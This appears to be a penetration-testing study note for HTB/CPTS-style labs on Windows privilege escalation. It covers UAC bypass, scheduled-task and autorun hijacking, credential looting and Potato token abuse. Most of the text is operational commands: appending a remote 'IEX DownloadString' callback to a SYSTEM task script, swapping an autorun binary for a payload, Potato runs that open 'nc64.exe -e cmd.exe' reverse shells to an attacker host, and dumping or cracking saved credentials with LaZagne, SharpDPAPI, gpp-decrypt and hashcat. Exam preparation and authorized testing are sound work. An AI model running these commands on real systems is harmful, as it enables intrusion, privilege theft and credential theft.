[!warning] Watch out UAC is not a security boundary to Microsoft — bypasses are build-specific flaws, so check [environment]::OSVersion.Version and consult the UACMe table for a technique that matches. ConsentPromptBehaviorAdmin=0x5 rules out most registry-hijack techniques (they rely on default 0x2). RID-500 built-in Administrator always runs high-integrity regardless. CVE-2019-1388 (patched Nov 2019) is the GUI fallback on unpatched boxes: Run as admin a Microsoft-signed binary with a populated SpcSpAgencyInfo cert field (hhupd.exe) → Show publisher cert → click the Issued by hyperlink → a SYSTEM browser opens → Save As → type c:\windows\system32\cmd.exe → SYSTEM shell.

Scheduled-task script abuse

What to look for: a task set to Run As SYSTEM/a privileged account that invokes a script or binary in a folder my user can write to. Standard users can’t read C:\Windows\System32\Tasks, so lean on writable-folder discovery, not the task list.

schtasks /query /fo LIST /v                 # run-as acct, schedule, last result
Get-ScheduledTask | select TaskName,State
Import-Module .\PowerUp.ps1; Get-ModifiableScheduledTaskFile   # automated find
.\accesschk64.exe /accepteula -s -d C:\Scripts\               # RW BUILTIN\Users on a task's script dir?
# ── append a callback to the writable script → runs as the task's account on next fire ──
Add-Content C:\Scripts\db-backup.ps1 "`nIEX(New-Object Net.WebClient).DownloadString('http://$env:LHOST/r.ps1')"
# then wait for the schedule (hourly/daily), or trigger it if you can: schtasks /run /tn "<TaskName>"

[!tip] This is a plant-and-check-back technique — worth a dedicated writable-folder pass late in a multi-day engagement even when nothing fires immediately. Also cheap adjacent checks: Get-LocalUser (Description field) and Get-WmiObject Win32_OperatingSystem | select Description (computer description) occasionally leak creds outright — 15 - Scheduled Tasks, Description Fields & Mounting Disks. MITRE T1053.005.

Registry autorun (Win32_StartupCommand)

What to look for: an autorun binary launched at another user’s logon whose file — or the Run key itself — is writable by me. Distinct from the plaintext-AutoLogon reg query in the cred block above; this is the executable being hijackable.

Get-CimInstance Win32_StartupCommand | select Name,command,Location,User | fl
Import-Module .\PowerUp.ps1; Get-ModifiableRegistryAutoRun
:: writable autorun binary → replace it; or writable HKLM\...\Run → point it at my payload
copy /Y C:\Windows\Temp\payload.exe "C:\Path\To\autorun.exe"

[!note] Cross-reference the User column against local admins — an autorun that runs as a standard peer is worthless; one that runs at an admin’s logon is the win. HKLM Run entries fire for whoever logs on next.

Saved-cred deep sweep (Vault · DPAPI · PuTTY · KeePass · Sticky Notes · Wi-Fi)

What to look for: everywhere Windows and apps stash reusable secrets beyond the cmdkey/AutoLogon/PS-history basics above. Re-run this after every priv gain — profiles unreadable before become readable. One-pass looters: LaZagne (staged: LaZagne.exe (SHA-256 · GPG signature)) and SessionGopher. Full index: Stage 08 · 10 - Credential Hunting on Windows · 13 - Pillaging Windows Hosts.

:: ── Windows Credential Vault (web + generic creds, separate from cmdkey) ──
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
vaultcmd /listcreds:"Web Credentials" /all
:: ── PuTTY proxy creds sit in cleartext in HKCU ──
reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\<name>    :: ProxyUsername / ProxyPassword
:: ── Wi-Fi PSKs (needs local admin) ──
netsh wlan show profile <ssid> key=clear
# ── DPAPI-protected material — decrypts transparently AS the originating user ──
$c = Import-Clixml C:\scripts\pass.xml; $c.GetNetworkCredential().Password   # PS credential object
.\SharpChrome.exe logins /unprotect                                          # browser saved logins
.\SharpDPAPI.exe triage                                                      # masterkeys + creds + vaults
gc "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Custom Dictionary.txt" | Select-String pass  # typed-in-wrong-field
# ── saved sessions across PuTTY/WinSCP/FileZilla/RDP ──
Import-Module .\SessionGopher.ps1; Invoke-SessionGopher -Thorough
# ── one-pass everything ──
.\LaZagne.exe all
# ── KeePass DB found → crack offline ──
keepass2john help_desk.kdbx > kp.hash
hashcat -m 13400 kp.hash rockyou.txt
# ── Sticky Notes: copy %LOCALAPPDATA%\Packages\Microsoft.MicrosoftStickyNotes_*\LocalState\plum.sqlite* ──
strings plum.sqlite-wal | grep -iE "pass|user"      # or: SELECT Text FROM Note (PSSQLite / DB Browser)

[!warning] Watch out DPAPI ties decryption to the originating user + machineImport-Clixml, SharpChrome, and vault creds only decrypt when you run as that user (or have their DPAPI masterkey / the domain backup key). Don’t waste time trying to decrypt another user’s blob from your own context. unattend.xml / sysprep.xml (search C:\Windows\Panther, C:\Windows\System32\Sysprep) hold cleartext-or-Base64 AutoLogon creds and often survive image deployment.

GPP cpassword (SYSVOL) — the domain-wide freebie

What to look for: on a domain-joined host, once you can read SYSVOL (any authenticated user can) — Group Policy Preference XML (Groups.xml, Services.xml, ScheduledTasks.xml, DataSources.xml) with a cpassword attribute. Microsoft published the AES key, so it’s reversible, not cracked.

# ── over SMB from the attack box ──
nxc smb $DC -u "$U" -p "$P" -M gpp_password
# ── or manually: find the XML, decrypt ──
findstr /S /I cpassword \\$DOMAIN\sysvol\$DOMAIN\Policies\*.xml
gpp-decrypt <cpassword_blob>

[!note] This is really an AD-enumeration find but it lands often during a host privesc pass and frequently yields a reused local-admin password. Deep dives: 🟣 Attack · 🔴 Attack. Patched by MS14-025, but legacy Groups.xml files persist for years.

Potato selection matrix — pick by OS build, not by habit

What to look for: SeImpersonate (or SeAssignPrimaryToken) confirmed. All potatoes are the same SeImpersonate abuse — they differ only in how they coerce a SYSTEM component to authenticate to a listener. Check the build first: [environment]::OSVersion.Version / systeminfo. Deep dive: 🟣 Attack. Quick-reference requirement columns are in the §3 decision table above.

VariantCoercion mechanismUse whenFails when
JuicyPotatoDCOM/NTLM reflection (needs a working CLSID)Server ≤2016 / Win10 <1809dead on Server 2019+ / Win10 1809+ (DCOM path patched)
PrintSpooferPrint Spooler RPC (spoolss named pipe)Spooler running (any build incl. 2019/2022)Spooler disabled (post-PrintNightmare GPO)
RoguePotatoOXID resolver relayed via a redirector on 135Spooler disabled but you can stand up the OXID redirectoroutbound 135 blocked / no redirector
GodPotatoDCOM (RPC/DCOM, newer CLSID path)broadest — Server 2012→2022, Win8→11, no Spooler neededrare; try first if others fail
SweetPotato / DCOMPotatobundles several of the abovewant auto-fallback across methods
:: JuicyPotato also covers SeAssignPrimaryToken via -t (tries CreateProcessWithTokenW AND CreateProcessAsUser):
JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -t *
:: RoguePotato needs the socat/redirector: rogue OXID resolver reachable on 135
RoguePotato.exe -r %LHOST% -e "C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -l 9999

[!warning] Watch out The potato binary itself is quiet; the loud part is the SYSTEM cmd/powershell spawned from w3wp.exe/sqlservr.exe (Event 4688) and the SeImpersonate/SeDebug grant tripping Event 4672. If a variant fails, it’s almost always the coercion vector missing (Spooler off, DCOM patched, 135 blocked) — not the privilege. GodPotato first, PrintSpoofer if Spooler’s up, RoguePotato when it isn’t, JuicyPotato only on legacy.



🧭 CPTS tips & pitfalls (both platforms)

  • Re-enumerate after every privilege gain. New group membership / new shell = new readable files, new sudo -l, new tokens. Most chains in HTB/CPTS are 2–3 hops (user → svc acct → root/SYSTEM), and each hop unlocks the next clue.
  • The enum script is a hint engine, not an answer. LinPEAS red/yellow findings are leads; verify by hand before burning an exploit. Conversely, don’t trust a clean auto-enum — it can’t see what perms hide (that’s what pspy and manual sudo -l/whoami /all catch).
  • Match payload architecture: uname -m before pspy32/pspy64; check installed .NET (reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release) before picking GodPotato-NET35 vs -NET4.
  • Interactive-shell assumptions break in CTF/service contexts: potatoes and sc work fine from xp_cmdshell/webshell contexts, but anything needing a window station (UAC GUI tricks, some runas) needs a real session.
  • Common time-wasters: chasing an unquoted service path you can’t restart, trying JuicyPotato on Server 2019+, compiling kernel exploits on Kali for a target with a different glibc, trying to decrypt another user’s DPAPI blob, planting a SUID shell on a nosuid mount.
  • Document as you go — every changed binpath, added user, dropped DLL, edited unit file is a report artifact and a cleanup item. See Stage 11.
  • Cron PATH vs shell PATH: cron jobs run with the PATH= line inside /etc/crontab (or the daemon default), not your interactive PATH — a writable dir only matters if it’s on that PATH and the job uses a relative binary name (§5/§A).
  • Capabilities beat file perms for stealth: nothing changes in ls -l; defenders auditing only SUID bits miss setcap binaries. Offensively: always run getcap -r / — defensively: it’s a finding worth reporting.
  • Potato hygiene: run the potato -cmd once with a payload (add-user / nc callback), not whoami — every execution spawns the loud SYSTEM child process (4688); make the first shot count.
  • Check /etc/exports on the target, showmount -e from outside — NFS exports visible externally aren’t always the ones you’re in scope to mount; and no_root_squash is the only flag that matters for privesc (§C).
  • Password reuse closes more chains than exploits do. Every cleartext find (history, unattend.xml, web.config, groups.xml) goes straight into the spray list for Stage 08/Stage 10.

[!example] Worked mini-chain (typical CPTS box) Web shell as www-datasudo -l shows (backup) NOPASSWD: /usr/bin/tar → GTFOBins tar-sudo → shell as backupbackup is in disk group → debugfs reads /root/.ssh/id_rsassh -i as root. Three hops, zero CVEs, all from the decision tables above.

[!success] Stage 9 exit checklist

  • sudo -l / whoami /priv + /groups answered, decision tables walked
  • Auto-enum (linpeas/winpeas + pspy) results triaged, RED findings verified manually
  • Cron/scheduled-task writable-path chains checked end-to-end (namei / accesschk on every component)
  • Capabilities (getcap -r /) and group memberships (id / whoami /groups) reviewed for the non-obvious ones (disk, adm, Event Log Readers, Hyper-V Administrators)
  • Every gained privilege re-looted (SSH keys, hives, creds — see Stage 08)
  • Kernel exploits only after misconfigs exhausted, with stability risk noted
  • Cleanup: revert binpaths/units/SDDLs, remove added users & MSI, delete planted DLLs/SUID shells/--checkpoint* files, restore ACLs/ownership, remove ServerLevelPluginDll
  • Artifacts + evidence documented for Stage 11

[!navigation] Continue the attack flow Previous: Stage 08 — Password Attacks and Credential Hunting

Dashboard: HTB Pentest Attack Flow

Next: Stage 10 — Lateral Movement, Pivoting, and Loot